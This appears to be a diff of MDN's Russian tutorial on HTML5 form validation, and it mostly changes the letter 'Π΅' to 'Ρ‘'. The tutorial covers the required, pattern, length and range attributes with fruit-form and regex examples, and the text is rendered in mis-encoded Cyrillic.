-<p>Одной ΠΈΠ· особСнностСй HTML5 являСтся Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… Π΄Π°Π½Π½Ρ‹Ρ… Π±Π΅Π· использования скриптов. Π­Ρ‚ΠΎ дСлаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <a href="https://developer.mozilla.org/en-US/docs/HTML/HTML5/Constraint_validation">Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² провСрки элСмСнтов формы</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π²Π°ΠΌ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»Π° Π²Π²ΠΎΠ΄Π° Ρ„ΠΎΡ€ΠΌΡ‹, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½ΡƒΠΆΠ½ΠΎ Π»ΠΈ Π·Π°ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, минимальная ΠΈ ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½Π°ΡΒ Π΄Π»ΠΈΠ½Π°Β Π΄Π°Π½Π½Ρ‹Ρ…, Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π»ΠΈ это Π±Ρ‹Ρ‚ΡŒ число, адрСс элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹, адрСс ΠΈΠ»ΠΈ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π΅Ρ‰Π΅, ΠΈ шаблон, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ это Π΄ΠΎΠ»ΠΆΠ½ΠΎΒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ. Если Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‚ всСм этим ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌ, Π΄Π°Π½Π½Ρ‹Π΅ ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‚ΡΡ Π²Π°Π»ΠΈΠ΄Π½Ρ‹ΠΌΠΈ; Ссли Π½Π΅Ρ‚ -Β  Π½Π΅Π²Π°Π»ΠΈΠ΄Π½Ρ‹ΠΌΠΈ.</p>
+<p>Одной ΠΈΠ· особСнностСй HTML5 являСтся Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… Π΄Π°Π½Π½Ρ‹Ρ… Π±Π΅Π· использования скриптов. Π­Ρ‚ΠΎ дСлаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <a href="https://developer.mozilla.org/en-US/docs/HTML/HTML5/Constraint_validation">Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² провСрки элСмСнтов формы</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π²Π°ΠΌ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»Π° Π²Π²ΠΎΠ΄Π° Ρ„ΠΎΡ€ΠΌΡ‹, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½ΡƒΠΆΠ½ΠΎ Π»ΠΈ Π·Π°ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, минимальная ΠΈ ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½Π°ΡΒ Π΄Π»ΠΈΠ½Π°Β Π΄Π°Π½Π½Ρ‹Ρ…, Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π»ΠΈ это Π±Ρ‹Ρ‚ΡŒ число, адрСс элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹, адрСс ΠΈΠ»ΠΈ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π΅Ρ‰Ρ‘, ΠΈ шаблон, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ это Π΄ΠΎΠ»ΠΆΠ½ΠΎΒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ. Если Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‚ всСм этим ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌ, Π΄Π°Π½Π½Ρ‹Π΅ ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‚ΡΡ Π²Π°Π»ΠΈΠ΄Π½Ρ‹ΠΌΠΈ; Ссли Π½Π΅Ρ‚ -Β  Π½Π΅Π²Π°Π»ΠΈΠ΄Π½Ρ‹ΠΌΠΈ.</p>
<p>Когда элСмСнт Π²Π°Π»ΠΈΠ΄Π½Ρ‹ΠΉ, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ утвСрТдСния Π²Π΅Ρ€Π½Ρ‹:</p>
@@ -113,7 +113,7 @@ original_slug: Learn/HTML/Forms/Валидация_Ρ„ΠΎΡ€ΠΌΡ‹
<p>Π’ этом Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΌΡ‹ рассмотрим Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ HTML5, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ {{HTMLElement("input")}} элСмСнтов.</p>
-<p>НачнСм с простого ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° - input, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт Π²Π°ΠΌ Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ ваш Π»ΡŽΠ±ΠΈΠΌΡ‹ΠΉ ΠΏΠ»ΠΎΠ΄ ΠΌΠ΅ΠΆΠ΄Ρƒ Π±Π°Π½Π°Π½ΠΎΠΌΒ ΠΈ вишнСй. Он Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ простой тСкст {{HTMLElement("input")}} ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ ярлык (label)Β ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΡƒ (submit)Β {{htmlelement("button")}}. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ исходный ΠΊΠΎΠ΄ Π½Π° GitHub <a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-start.html">fruit-start.html</a>,ΠΈ ΠΆΠΈΠ²ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½ΠΈΠΆΠ΅:</p>
+<p>Начнём с простого ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° - input, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт Π²Π°ΠΌ Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ ваш Π»ΡŽΠ±ΠΈΠΌΡ‹ΠΉ ΠΏΠ»ΠΎΠ΄ ΠΌΠ΅ΠΆΠ΄Ρƒ Π±Π°Π½Π°Π½ΠΎΠΌΒ ΠΈ вишнСй. Он Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ простой тСкст {{HTMLElement("input")}} ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ ярлык (label)Β ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΡƒ (submit)Β {{htmlelement("button")}}. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ исходный ΠΊΠΎΠ΄ Π½Π° GitHub <a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-start.html">fruit-start.html</a>,ΠΈ ΠΆΠΈΠ²ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½ΠΈΠΆΠ΅:</p>
<pre class="notranslate">&lt;form&gt;
&lt;label for="choose"&gt;Would you prefer a banana or cherry?&lt;/label&gt;
@@ -132,7 +132,7 @@ input:valid {
<p>{{EmbedLiveSample("Simple_start_file", "100%", 80)}}</p>
-<p>Для Π½Π°Ρ‡Π°Π»Π° сдСлаСм копию <code>fruit-start.html</code>Π² Π½ΠΎΠ²ΠΎΠΌ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ Π½Π° ТСстком дискС.</p>
+<p>Для Π½Π°Ρ‡Π°Π»Π° сдСлаСм копию <code>fruit-start.html</code>Π² Π½ΠΎΠ²ΠΎΠΌ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ Π½Π° Тёстком дискС.</p>
<h3 id="Π’Ρ€Π΅Π±ΡƒΠ΅ΠΌΡ‹ΠΉ_Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚_required">Π’Ρ€Π΅Π±ΡƒΠ΅ΠΌΡ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ (required)</h3>
@@ -146,7 +146,7 @@ input:valid {
&lt;button&gt;Submit&lt;/button&gt;
&lt;/form&gt;</pre>
-<p>Π’Π°ΠΊΠΆΠ΅ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° CSS, Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΉ Π² Ρ„Π°ΠΉΠ» ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°:</p>
+<p>Π’Π°ΠΊΠΆΠ΅ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° CSS, Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΉ Π² Ρ„Π°ΠΉΠ» ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°:</p>
<pre class="notranslate">input:invalid {
border: 2px dashed red;
@@ -160,7 +160,7 @@ input:valid {
border: 2px solid black;
}</pre>
-<p>Π’ этом случаС ΠΊ input Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ярко-красный пунктирный border, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½Β Π½Π΅Π²Π°Π»ΠΈΠ΄Π½Ρ‹ΠΉ, ΠΈ Π±ΠΎΠ»Π΅Π΅ тонкая чСрная Π³Ρ€Π°Π½ΠΈΡ†Π°, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ Π²Π°Π»ΠΈΠ΄Π½Ρ‹ΠΉ. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π½ΠΎΠ²ΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅:</p>
+<p>Π’ этом случаС ΠΊ input Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ярко-красный пунктирный border, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½Β Π½Π΅Π²Π°Π»ΠΈΠ΄Π½Ρ‹ΠΉ, ΠΈ Π±ΠΎΠ»Π΅Π΅ тонкая чёрная Π³Ρ€Π°Π½ΠΈΡ†Π°, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ Π²Π°Π»ΠΈΠ΄Π½Ρ‹ΠΉ. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π½ΠΎΠ²ΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅:</p>
<p>{{EmbedLiveSample("The_required_attribute", "100%", 80)}}</p>
@@ -202,7 +202,7 @@ input:valid {
<ul>
<li><code>[Ll].*k</code> β€” Один символ  L,Β Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΌ ΠΈΠ»ΠΈ Π½ΠΈΠΆΠ½Π΅ΠΌ рСгистрС, Π·Π° Π½ΠΈΠΌ слСдуСт Π½ΠΈ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ нСсколько символов любого Ρ‚ΠΈΠΏΠ° Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ слСдуСт <code>k</code> Π² Π½ΠΈΠΆΠ½Π΅ΠΌ рСгистрС.</li>
<li><code>[A-Z][A-Za-z' -]+</code> β€” Один символ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ рСгистра, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ слСдуСт ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ нСсколько символов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой Π±ΡƒΠΊΠ²Ρƒ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ ΠΈΠ»ΠΈ Π½ΠΈΠΆΠ½Π΅Π³ΠΎ рСгистра, Ρ‚ΠΈΡ€Π΅, апостроф или ΠΏΡ€ΠΎΠ±Π΅Π». Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ названия Π³ΠΎΡ€ΠΎΠ΄ΠΎΠ² / Π³ΠΎΡ€ΠΎΠ΄ΠΎΠ² англоязычных стран, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒΡΡ с Π·Π°Π³Π»Π°Π²Π½ΠΎΠΉ Π±ΡƒΠΊΠ²Ρ‹, Π½ΠΎ Π½Π΅ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΡ… символов. ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΈΠ· UK Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Manchester, Ashton-under-lyne, ΠΈ Bishop's Stortford.</li>
- <li><code>[0-9]{3}[ -][0-9]{3}[ -][0-9]{4}</code> β€” Π’Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΉΒ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π½Ρ‹ΠΉ номСр БША β€” Ρ‚Ρ€ΠΈ Ρ†ΠΈΡ„Ρ€Ρ‹, Π·Π°Ρ‚Π΅ΠΌ ΠΏΡ€ΠΎΠ±Π΅Π» ΠΈΠ»ΠΈ Ρ‚ΠΈΡ€Π΅,Β Π·Π°Ρ‚Π΅ΠΌ Ρ‚Ρ€ΠΈ Ρ†ΠΈΡ„Ρ€Ρ‹,Π·Π°Ρ‚Π΅ΠΌ ΠΏΡ€ΠΎΠ±Π΅Π» ΠΈΠ»ΠΈ Ρ‚ΠΈΡ€Π΅, Π·Π°Ρ‚Π΅ΠΌ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ Ρ†ΠΈΡ„Ρ€Ρ‹. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²Π°ΠΌ придСтся ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это Π±ΠΎΠ»Π΅Π΅ слоТным, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ люди ΠΏΠΈΡˆΡƒΡ‚ свой ΠΊΠΎΠ΄ области Π² ΠΊΡ€ΡƒΠ³Π»Ρ‹Ρ… скобках, Π½ΠΎ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ для простой дСмонстрации.</li>
+ <li><code>[0-9]{3}[ -][0-9]{3}[ -][0-9]{4}</code> β€” Π’Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΉΒ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π½Ρ‹ΠΉ номСр БША β€” Ρ‚Ρ€ΠΈ Ρ†ΠΈΡ„Ρ€Ρ‹, Π·Π°Ρ‚Π΅ΠΌ ΠΏΡ€ΠΎΠ±Π΅Π» ΠΈΠ»ΠΈ Ρ‚ΠΈΡ€Π΅,Β Π·Π°Ρ‚Π΅ΠΌ Ρ‚Ρ€ΠΈ Ρ†ΠΈΡ„Ρ€Ρ‹,Π·Π°Ρ‚Π΅ΠΌ ΠΏΡ€ΠΎΠ±Π΅Π» ΠΈΠ»ΠΈ Ρ‚ΠΈΡ€Π΅, Π·Π°Ρ‚Π΅ΠΌ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ Ρ†ΠΈΡ„Ρ€Ρ‹. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²Π°ΠΌ придётся ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это Π±ΠΎΠ»Π΅Π΅ слоТным, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ люди ΠΏΠΈΡˆΡƒΡ‚ свой ΠΊΠΎΠ΄ области Π² ΠΊΡ€ΡƒΠ³Π»Ρ‹Ρ… скобках, Π½ΠΎ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ для простой дСмонстрации.</li>
</ul>
<p>Π’ любом случаС, Π΄Π°Π²Π°ΠΉΡ‚Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ - ΠΎΠ±Π½ΠΎΠ²ΠΈΠΌ ваш HTML, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ шаблона, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
@@ -230,7 +230,7 @@ input:valid {
<p>На этом этапС ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Π½ΡƒΡ‚Ρ€ΠΈΒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>pattern</code>Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΏΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ Ρ€Π°Π½Π΅Π΅, ΠΈ посмотритС, ΠΊΠ°ΠΊ это влияСт Π½Π° значСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ввСсти, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π²Ρ…ΠΎΠ΄Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Π°Π»ΠΈΠ΄Π½Ρ‹ΠΌ. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ свои собствСнныС, ΠΈ посмотритС, ΠΊΠ°ΠΊ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚! ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΈΡ… связанными с Ρ„Ρ€ΡƒΠΊΡ‚Π°ΠΌΠΈ, Π³Π΄Π΅ это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, поэтому ваши ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ смысл!</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> НСкоторыС {{HTMLElement("input")}} Ρ‚ΠΈΠΏΡ‹ элСмСнтов Π½Π΅ Π½ΡƒΠΆΠ΄Π°ΡŽΡ‚ΡΡ Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ {{htmlattrxref("pattern","input")}} Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π²Π°Π»ΠΈΠ΄Π½Ρ‹ΠΌΠΈ. Π£ΠΊΠ°Π·Π°Π½ΠΈΠ΅ Ρ‚ΠΈΠΏΠ°Β <code>email</code>Β Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, провСряСт Π²Π²Π΅Π΄Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β Ρ‡Π΅Ρ€Π΅Π· рСгулярноС выраТСниС, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅Β Ρ…ΠΎΡ€ΠΎΡˆΠΎ сформированному адрСсу элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹Β (ΠΈΠ»ΠΈ списку email адрСсов, раздСлСнных запятыми, Ссли Π² Π½Π΅ΠΌ присутствуСт Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("multiple","input")}} attribute). Π’ качСствС Π΅Ρ‰Π΅ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, полС с типом <code>url</code> автоматичСски Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ сформированного URL.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> НСкоторыС {{HTMLElement("input")}} Ρ‚ΠΈΠΏΡ‹ элСмСнтов Π½Π΅ Π½ΡƒΠΆΠ΄Π°ΡŽΡ‚ΡΡ Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ {{htmlattrxref("pattern","input")}} Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π²Π°Π»ΠΈΠ΄Π½Ρ‹ΠΌΠΈ. Π£ΠΊΠ°Π·Π°Π½ΠΈΠ΅ Ρ‚ΠΈΠΏΠ°Β <code>email</code>Β Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, провСряСт Π²Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β Ρ‡Π΅Ρ€Π΅Π· рСгулярноС выраТСниС, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅Β Ρ…ΠΎΡ€ΠΎΡˆΠΎ сформированному адрСсу элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹Β (ΠΈΠ»ΠΈ списку email адрСсов, раздСлённых запятыми, Ссли Π² Π½Π΅ΠΌ присутствуСт Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("multiple","input")}} attribute). Π’ качСствС Π΅Ρ‰Ρ‘ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, полС с типом <code>url</code> автоматичСски Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ сформированного URL.</p>
</div>
<div class="note">
@@ -263,7 +263,7 @@ input:valid {
<ul>
<li>Π—Π΄Π΅ΡΡŒ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ задали полю <code>text</code>Β <code>minlength</code>Β <code>maxlength</code>Β Ρ€Π°Π²Π½ΡƒΡŽ 6Β β€” такая ΠΆΠ΅ Π΄Π»ΠΈΠ½Π°, ΠΊΠ°ΠΊ banana ΠΈ cherry. Π’Π²ΠΎΠ΄ мСньшСго количСства символов Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ Π½Π΅Π²Π°Π»ΠΈΠ΄Π½Ρ‹ΠΉ, Π° Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ большС Π² Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ.</li>
- <li>ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ дали полю <code>number</code>Β <code>min</code> 1 ΠΈΒ <code>max</code> 10 - числа Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹Π΅Β Π²Π½Π΅ этого Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π° Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ Π½Π΅Π²Π°Π»ΠΈΠ΄Π½Ρ‹Π΅, ΠΈ Π²Ρ‹ Π½Π΅ смоТСтС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ стрСлки приращСния / ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΈΡ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ этого Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π°.</li>
+ <li>ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ дали полю <code>number</code>Β <code>min</code> 1 ΠΈΒ <code>max</code> 10 - числа Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅Β Π²Π½Π΅ этого Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π° Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ Π½Π΅Π²Π°Π»ΠΈΠ΄Π½Ρ‹Π΅, ΠΈ Π²Ρ‹ Π½Π΅ смоТСтС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ стрСлки приращСния / ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΈΡ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 